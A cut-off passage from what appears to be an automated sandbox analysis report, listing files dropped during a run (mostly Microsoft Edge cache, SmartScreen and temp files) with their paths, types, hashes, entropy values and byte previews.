Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.629307656487099E-4
Encrypted:	false
SSDEEP:	3:LsFl0libsal:LsFK0
MD5:	10DCE7E0CDBACBEE8B490F16539AB58A
SHA1:	A1B4C59B03B86715271919B04AD0B365B8102E27
SHA-256:	6980B64BD87AFBC78500DBBEEAF4E838C5F71DF58FBFDAA59CD1363D1EDD83BE
SHA-512:	67F9D229A3E80F805F9B4AEFD5DBD223DD4A8BD41E41D4905D9BB4F71BE49E1A33D068BF57436AD210B022E80DA4989337EDECD2F3253832EA01853CA33734E6
Malicious:	false
Preview:	.........................................'..../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\cache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	COM executable for DOS
Category:	dropped
Size (bytes):	184
Entropy (8bit):	0.6472473490380266
Encrypted:	false
SSDEEP:	3:s3lt/elaaRH:sVwpH
MD5:	24127606DAC5CC6142848B0387A3AFB6
SHA1:	2DD825CBA2DED5F73DE2F70D3056764788D6B3CD
SHA-256:	7680B8117DCE679EAF37A1C4670506FDA78781CFCD994295B5108DB18FBBC3A8
SHA-512:	0C37B62B580255716371554CD47A1D7AA15A92B5376FF66D42CACF1E2FD95C027E7F8781231C4B0D9CCC17521A94F1E719CFD2307853D6D7D72DD8155BA6868B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	..............@?........................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\download_cache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	COM executable for DOS
Category:	dropped
Size (bytes):	184
Entropy (8bit):	0.6472473490380266
Encrypted:	false
SSDEEP:	3:s3lt/elaaRH:sVwpH
MD5:	24127606DAC5CC6142848B0387A3AFB6
SHA1:	2DD825CBA2DED5F73DE2F70D3056764788D6B3CD
SHA-256:	7680B8117DCE679EAF37A1C4670506FDA78781CFCD994295B5108DB18FBBC3A8
SHA-512:	0C37B62B580255716371554CD47A1D7AA15A92B5376FF66D42CACF1E2FD95C027E7F8781231C4B0D9CCC17521A94F1E719CFD2307853D6D7D72DD8155BA6868B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	..............@?........................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\warnStateCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	1.23900521981086
Encrypted:	false
SSDEEP:	3:MlwlaaRX:kwpX
MD5:	3F66F244278461DD07A3FEB77A17712F
SHA1:	8D570B550699AD0F248EC98B5D678F54248C0A84
SHA-256:	203CE5C7C1680C6E98F5CECA920E9D904122A9E26A743191E9B0FE1F6584ED60
SHA-512:	8D4733222E2E0BBC18370055D0602D0389E7A562887E97B2E54073017FFEA024E9B1341ED95E28883861EF5E0D4FA9D27ED0894912FFE167632AED2E4CF53E7D
Malicious:	false
Preview:	H.......0.....@?........................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3251519737725435
Encrypted:	false
SSDEEP:	3:kDnaV6bVqAEdHTdTRrjMwdLUBTiEdCdhHQVCU:kDYaEHTdJ6igmRAX
MD5:	F222079E71469C4D129B335B7C91355E
SHA1:	0056C3003874EFEF229A5875742559C8C59887DC
SHA-256:	E713C1B13A849D759EBAA6256773F4F1D6DFC0C6A4247EDAA726E0206ECACB00
SHA-512:	E5A49275E056B6628709CF6509A5F33F8D1D1E93125EAA6EC1C7F51BE589FD3D8EA7A59B9639DB586D76A994AD3DC452C7826E4AC0C8C689DD67FF90E33F0B75
Malicious:	false
Preview:	edgeSettings_2.0-2f9188b68640dbf72295f9083a21d674a314721ef06f82db281cbcb052ff8ec1

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings_2.0-2f9188b68640dbf72295f9083a21d674a314721ef06f82db281cbcb052ff8ec1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	129085
Entropy (8bit):	3.7540186287711013
Encrypted:	false
SSDEEP:	1536:+lIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:beWGP7Eh
MD5:	6698422BEA0359F6D385A4D059C47301
SHA1:	B1107D1F8CC1EF600531ED87CEA1C41B7BE474F6
SHA-256:	2F9188B68640DBF72295F9083A21D674A314721EF06F82DB281CBCB052FF8EC1
SHA-512:	D0CDB3FA21E03F950DBE732832E0939A4C57EDC3B82ADB7A556EBD3A81D219431A440357654DFEA94D415BA00FD7DCBD76F49287D85978D12C224CBFA8C1AD8D
Malicious:	false
Preview:	{.. "models": [.. {.. "name": "techScamTitleModel:2019-10-07",.. "samplingRate": 0.001,.. "bias": -2.03588432962421,.. "terms": [.. {.. "features": [.. "title".. ],.. "delimiters": "\|;.\\/?*!\") ",.. "lengthWeight": -0.235096784475425,.. "tokenWeights": [.. {.. "key": "d8f3f4c31da2fa20a04f3c70536aee37",.. "value": 4.96485538534717.. },.. {.. "key": "902db872ede3fa9e92ed917ae1f2f0c9",.. "value": 16.0666261016159.. },.. {.. "key": "f2eb27b63a38b45c6a6bed8b65c6eeaf",.. "value": 4.27859685905943E-15.. },.. {.. "key": "3c0ee507a9a6de7849f17e20e3e931e1",.. "value": 9.49072317921467.. },.. {.. "key": "a500a663a3dfeebdbac0a28ed87d522c",.. "value": 15.1855052242444.. },..

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\aae27d8c-0c0e-4371-928a-b2d2faa2a2fa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9758
Entropy (8bit):	5.310842675262572
Encrypted:	false
SSDEEP:	192:uhoCL/Pgu90RZj8Sr6FA4ZiIxuERzA83h09RZxAexumhLtoDU9o66XLmb:q9iIxuERzA83h09RZxDcgyLe
MD5:	46B3AAAA736C1474C8E2A5D977390097
SHA1:	ABB657981CF77DB0775C66561CE77C4005241D3E
SHA-256:	80249DFCD532B8A2436FA1D25CF35754D93CDB5039DB3A42CA7A003477E52684
SHA-512:	941EB37510B9D01B81B6F4C70510AEACE133491B3B55786AFB080C19E0A5D70807C526CB6CF2EF22FAC54889BE3DA959CBA08A691BD8EF58B9F3E2BCC41BCCF8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"94.0.992.31","browser_version_of_last_seen_whats_new":"94.0.992.31","last_redirect_origin":"","last_seen_whats_new_page_version":"94.0.992.31","last_whats_new_version":94},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"external_config_domain_actions":{"cdm_override":{"applications":[{"applied_policy":"OnlyExposePlayReady","domain":"sling.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tou.tv"},{"applied_policy":"OnlyExposeWidevine","domain":"maxdome.de"},{"applied_policy":"OnlyExposeWidevine","domain":"abc.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tv.apple.com"},{"applied_policy":"OnlyExposeWidevine","domain":"la7.it"},{"applied_policy":"OnlyExpo

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\aed10d41-8eda-4a32-ac42-9688e8164ef3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12335
Entropy (8bit):	5.5568299510314905
Encrypted:	false
SSDEEP:	384:q9iIxuERzA83h09RZxD5g53h2XgZrK8GCn:pIxuERzA83h09RZx+BAQ0a
MD5:	DC9DE0C383C1D5A09606C037E9F94ABB
SHA1:	CCCF0553A2E94F7275F81C75A35ACEC4D2E0FC45
SHA-256:	E769976372EF113619772FB796A558578E5DFFA2B03AF96F75EB90B821F4DC72
SHA-512:	21542C202716BE07E49317A25A1AD05EAC5801D01E9540EDC17365EE52C07892694E8A7306BDE2584ABB50983E95738F599CC959EDEBBCC602F140DD2D2C93B5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"94.0.992.31","browser_version_of_last_seen_whats_new":"94.0.992.31","last_redirect_origin":"","last_seen_whats_new_page_version":"94.0.992.31","last_whats_new_version":94},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"external_config_domain_actions":{"cdm_override":{"applications":[{"applied_policy":"OnlyExposePlayReady","domain":"sling.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tou.tv"},{"applied_policy":"OnlyExposeWidevine","domain":"maxdome.de"},{"applied_policy":"OnlyExposeWidevine","domain":"abc.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tv.apple.com"},{"applied_policy":"OnlyExposeWidevine","domain":"la7.it"},{"applied_policy":"OnlyExpo

C:\Windows\Temp\.ses

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	53
Entropy (8bit):	3.9116060676482856
Encrypted:	false
SSDEEP:	3:LcdRScx+4VmIY6AZA:IxPdQA
MD5:	DCC7FB629D5D29B51AC43E75B64A4B41
SHA1:	2E4157245FE9871880A731DA5AD43A4825860663
SHA-256:	8FA11471BEE5A9FC7BA4A3156163A05C41DD9AE26063C11EF9D9089D02768CFB
SHA-512:	04AEC2F49BF4AF484745F0B165A92A87D6619CB6BD821AA523A0BC11D3396E1F3AC2E5A201F274DF0896DA0EA15843B77CE658D5D452C2AB03AAA9099F674D12
Malicious:	false
Preview:	1736578471081..3544C499-484C-48BA-AAE2-6D11129927A4..

C:\Windows\Temp\680f757a-b1e9-47a8-9921-6a3a1e104627.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 43805
Category:	dropped
Size (bytes):	28748
Entropy (8bit):	7.9918576871001425
Encrypted:	true
SSDEEP:	384:SU7ZPeF1W3JgUrqaO/8dOcbwy59NjS5BMYGYycIfPhrVx2NtsEeSeFzVXe/rxd:H7peFkZL9RZSz3gnhhGcpXetd
MD5:	2A37AD0EC191D53104BB46953AC6C43C
SHA1:	FD23FFC5B7E4A6B45FBD88A486D15FAA51DC07AE
SHA-256:	51F075EB69486CB23B32A0776782B4A1B2AF204429AB94510469E02B115E56CC
SHA-512:	AEB91CB7902A800D7B0C43627EC2B52121BC41BA29A1B6ABEDBFCFA4802254A0594ED239EA7A3F8D40241E43D436428D1E4AC117BD97269D78460F82F9BDCF68
Malicious:	false
Preview:	...........Zms.6..._..p..[.(.b[...M....N{..t ...S.......v...H.q.g:....]...p..6I8_d...C.\p.X$.2.p.g.8I}8.".D)$<..O...}.J9.3..a.i.'...x.....5O...x......I.M.!.'\.l.2.0.cN.fq....\......7..,......>.p...w&.KS.......(O.V>......O.r..V~J.`....U(..Y..MIy..w..g0e......D.,L..y..N.+..._....O.h.]...V....r................O.\|.:....Li..>COy......N.h.......R....Q%.,Xr.y...G8=.A....!8(..L....c....sA....t.Vl:...v...G;...^.l...#.t.>...k..d..kr...B......Pb.0..!..;9.....:~....j;....j.O..!B......?....^.]....;...[.g.B...%..'.7;.9.>..gP. p8...:.5l.Y.....Jp..R,.?..b..8O......h.X(..G.).Cz.C..%....x.ET.....AEi.../..0.. ....k.t...wl..e...H.i.F.....?.....z...?..........(../.O..R.?.4..7...j ..Q.....l..ob!..A..j...@..!).....K...MW.U.N.......W..Bh'8.'.y....Y.[o...PI..W....i...r.e..=.k^.WC..Uy.j..687^.z.#u5.4O...........-j.j3..L.1..F...8.......@l.9.c.aGC.R.&..j.Q-av?...[4.E..T8....u..+9.<.n.Qw.D..N..S..3.D...... .%C.j.7.Y.s(.0wq.ZI.#''#..[K.GJ ....4.....?

C:\Windows\Temp\7128e338-ed86-483a-81a1-dfe8e293ee8d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 12587
Category:	dropped
Size (bytes):	3280
Entropy (8bit):	7.938673637935802
Encrypted:	false
SSDEEP:	96:sqkKZz8Yel0T0Lep/NRoRl18zr9eAberZq:z0l0T0LvYr9Fbe1q
MD5:	D1C42E18C3C565B93F63D1D3BD5354A4
SHA1:	F70CFDCE1FD8DB93B7E4FA89FAE1D42F64516338
SHA-256:	2E647EE00104BE49B63358AD01DA9D70AA32E36D56329663442B023B88806458
SHA-512:	6522273071CB7F51EA7E8A86206814B4C9EFDD2F699DA5BF469062448E8E31C84D7567AA7F0AF7FB3E550238C8BB830555099EA2B97DB35469AEB807DBB7C685
Malicious:	false
Preview:	...........Zmo.6..._.-..i.r...h.\....h.,b......ms#..H%...7....%.d....-K.pf8....j.._,.6.I...wo.hFIg..9K...O.G.QD. A.h.@Co..Nnv.......D..d.._2..O......3&..i.P....;..4.iH.K.a.......4.ir.K..1.S.4.i....}J....`.#..Qoo...{.[.\.(y....&..N.c!....y..=kw~....t.?.]..p..].S.....g.....].....N.\|...x..X.w...Y....k.t..{dq.../.<.}....DY......m.v..A..n....G...'.qD_...z.?.x7...}..%.{d.1.r!.[.).......[...........x...7_..L./..wG?....r..\.[...J.......2......n.~X4.x!>.<.._.....L..1\|....VQ......Sb....-k.m...~.......vx.....}.E........KP.j.....,-...HN.4...(Ic.gJI.+...rNi8.....w.0.....^%....J..B".~.k..l.k.A.Y`..!..v.....a...W.1q&F..$...D&g.6`..!..X.0P...?..., ./}".4`.. 1..nv=E0.ph....?..C.fQ.w.N..C5XO$.+.......X....\mW...'Mw.}..(.<....r....Y8.....q7.....P?\v.$8/.a..LT.W..HPg.../.(x..v.j..F..nXD.A...5.)i.g..<.@.q_...._.......F.8.q..`B.L...Qj@.....B>.......N....>......P.9R.....).E......i6!..].!......][9......."..<..R.G_.t,....q....3..\|Auf(..'T.IL.\|N........gz...l.#.z.

C:\Windows\Temp\89f7f9fc-258e-4f74-aed9-5f47d3abcb35.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 981644
Category:	dropped
Size (bytes):	238985
Entropy (8bit):	7.9982970462170595
Encrypted:	true
SSDEEP:	6144:PswrfZ/Mb6NjE7lzl4mC2zAWPo4GIs4RU4afLP62H2bCuzs/9u:PrLBqZzl82zzPStVT626S9u
MD5:	F6B8BAAC3BBC33B052A0C5465E82FA14
SHA1:	CDAA5FB23B39E27554C78E8A8E9F8842543C1FBE
SHA-256:	310919D96F428159AEDB25891DF1F384B64E3C4B81BEAB7FE8E8ED923DDF3979
SHA-512:	E6CFE3119576769ECC2F09C62B1E10DB429525FD96F4967824E42E92DFC0B23E3EC5D2D7360DC98C7B1024FF6E4A6FEA2F07F469973B7F13D850582C897C2ED5
Malicious:	false
Preview:	...........<.s.....8;...).r....$..4.sb.)73..G.D".....V-..o?..w.(.n.i;.P$p......t...e.-W....x.p..8Y)q...u..aS..J..0....RZU...L..V.<...B.M.(.....sY^..P.X\.)..?...e.D.%..i.J."..X(.tV6E...+........,W.;....W..F..L.}..TQ.(.j&t]e.r".,...Y/Tu}-.O...yV.{i.."W{.zS...%.r.BVw...Z.<~..Z..z.+=.e}VV....\..D.._TR.MUnTU_N..\.A4.n6...cq...&.8...+q..I..E........!F......#@J.@.>.}.u...-J0.I.R@..h.H^d)...i..\..j........OC...+%.K...5....Z..n.......2@...&W3.uO.8.'...s>.o......'...}...\..\|f...cd.RvK..q....3.........o.>........t......e.....@.h.Tq......10.'\|;S..XuI.4.;n.o..i...jl..T......=I.E."....(.I.....m>.<..Q<...D.@".d...:{A'..=...A...J\|........z....x..+Dvf.t....0...+...cs.Z..Xp.8>f;.N.iN.....w..@u...Y..,.J.8..%...R.q.1$i't...c7_..@.......a.....!...A...'.0.........yc..._......2O.....[.->7C....i0.v5q.M.!.*dA@.(...y F..r......Rv.#.[..r[>p..-s.vc....9.,@...<....I`._..I.mZ..'.. ..r.R..g...[U.%0.....a..\|.;......[.]=X...,...~m@O...8....<...A."....Y./....i..p....O

C:\Windows\Temp\autB0DC.tmp

Download File

Process:	C:\Intel\dc.exe
File Type:	data
Category:	dropped
Size (bytes):	33220
Entropy (8bit):	7.730918275075489
Encrypted:	false
SSDEEP:	768:ucjZIYG6A8kiHIgH82NNkIY6zAXohupeNISgTBuda:ul8kpg9NW6vhupUISgoda
MD5:	7F08F61D0CB3BDEF38867217FD81B787
SHA1:	1F487054BD6D22A1FBD3A5AAD610B2897D389D2F
SHA-256:	145D1A291D7962F9C4D2A4FC0323CD1357EFB26F8030E580762DB55022D7BF84
SHA-512:	6E4A84D4BD2D1E52CBB197FF6E04A81C6634D03860522B13D3D8B1B4C90CAB139667AEF4ACCB41480434434F8BA247C3064C252388012A3052DCD7E7D4A98A39
Malicious:	false
Preview:	.p.%.....Q&.Y..o4.M&.Y..mC.Lf.)..k6..f.:..qA..f.y..i9... ....VMf.i..k3.M..<..Lf....g6........F...9...A....o6.....`...\|'..@....Q@...q7...bg1.Qf`... f....S7.L.....mE.....4..M...eD..& ......~&S...o9..&Sj..k6..(`...@.....g4...-...gA.M..>...o6.(...K3)..g1..fT@..e3..<ji0.....L.6...i..`.9.....0N@Y...h.9..Wb.4.........F.j.S..`....&si....../.#..Br....h...).....a2... ?..p.tQ..`..n.-.. .(....`#l...;H.@....@..m9..@.8.pL......`...S....(...'......... .......4.o7...\|3Y.....2(.9..e5...\|.....}M..>..`....&.I...2.`h`U...d.k..B&.......8.... .S...f.P...n...&\|.V...f.`..i8.P.. .wfsP3..9 ._..t....p..mD.M........\|..l.h.8..nb.\|....?........ .....................`0......nh.@&.;3z..2....*.w..$..Q.&..#6.P..... .....3.......D...6..& ..%.1..&..Z..&3`........i6..f.@...@..5.......I. ..5....3`...k@k^...`" . ..`\|..X..'.....k@pD..{.T.........`.T.. l_.3..I.....e...........1.a.....@4............i5..&.@...S....... ...^........O 7...AD .l... .......W........\|.L.....<NAk.....`..@...f......../....(... Y.

C:\Windows\Temp\c3ce1781-6377-4239-bbc1-10b7e93b0684.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 16707
Category:	dropped
Size (bytes):	4015
Entropy (8bit):	7.942829486244974
Encrypted:	false
SSDEEP:	96:6qO65dFso15wMvxpjQsGOm04jp7VFt5luSMa7AAlUzb37:XH5ko1qMgcm0kV5dMdVzb37
MD5:	157FA9B3914DCEF8DADF132F7C41682B
SHA1:	4BF449A8772CA6591FECD5F85FF6230E68D1D0D2
SHA-256:	0D0594A2FD1B90F179081B6261FEB6D113C99C81A854BC7418D7AFB935AF2F46
SHA-512:	36445F35CE2D1756E56397A51D791D7C2B03C2D858A3E9A3385AF6DF9D1F664D8F21E11F5B71ABC399DB914CA2B947713A722E068269AA0B0FEE80A23EC44985
Malicious:	false
Preview:	...........[ms...~..w."..i_:.t.q:.L...G/.\....!.1E..iGM..x#........;IX,..........v.....y.#t./3B...-..<&..zI.8.E..8{.....4G.`.c0...Ct........NO......&a.".._..$.S...LR..]..1...;.Xp8.p...).S.......s9...&..GWA.].NXD19.l.}I0..MJ.w.../6.hI"...d[.w..v4......h2.......j.]...Q......\|..~?.8..<.&@.u)ip5..f..t0....{...h.L.....Q.s....\.x..i>......t...M..{.Z>.......f0..^_W....ljS..O..),{.R..u..u.F....4........0.....K.+.&$.(.1."..x}"Y..I.Fa.C.#N.N..\|.H..'..d...r.nQ.A..i.c.'.R....1Y..........1.=..'.[.._s.....`G`i.70+...X.$.!.oB.l..`m..\|ec.bL.R4.r...E.\|(I.,#Y.dtY.V8.....@.1..q..q..qO.0.....j.[).e..M.}..&i.....n..{....\|:...2.5-q..IXi..U_...."K.....P.j.e0..<.p$..3..>...o...4......;Och...x...FY.......E...`A..5.."..\P..o....&a......op..>.d.3.HWh..'.=.....m.K....V.....4..U.3...a.....y..0]b..-..va..P......wd.;..t.1SgV.s.>...V.J.JE..S...+.H.I..lq.E.!....B...-.K.B..._.....X......0..z..V,...8rt.{.."K.g5....-@...0-.....w.....)......4+v..P=...-.>.....>R.....Z.A`.......

C:\Windows\Temp\fc65f6fd-839f-417d-b540-ddbe30f77212.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 769766
Category:	dropped
Size (bytes):	1653407
Entropy (8bit):	7.9952777576561385
Encrypted:	true
SSDEEP:	49152:m8Okx3c/QzPWPWsCDADjukiywfpz3yblIyP+/0M64U:gkRYouPWrADj9irpzUqrU
MD5:	03C04B04F5E2CE562F63DF14B1784F81
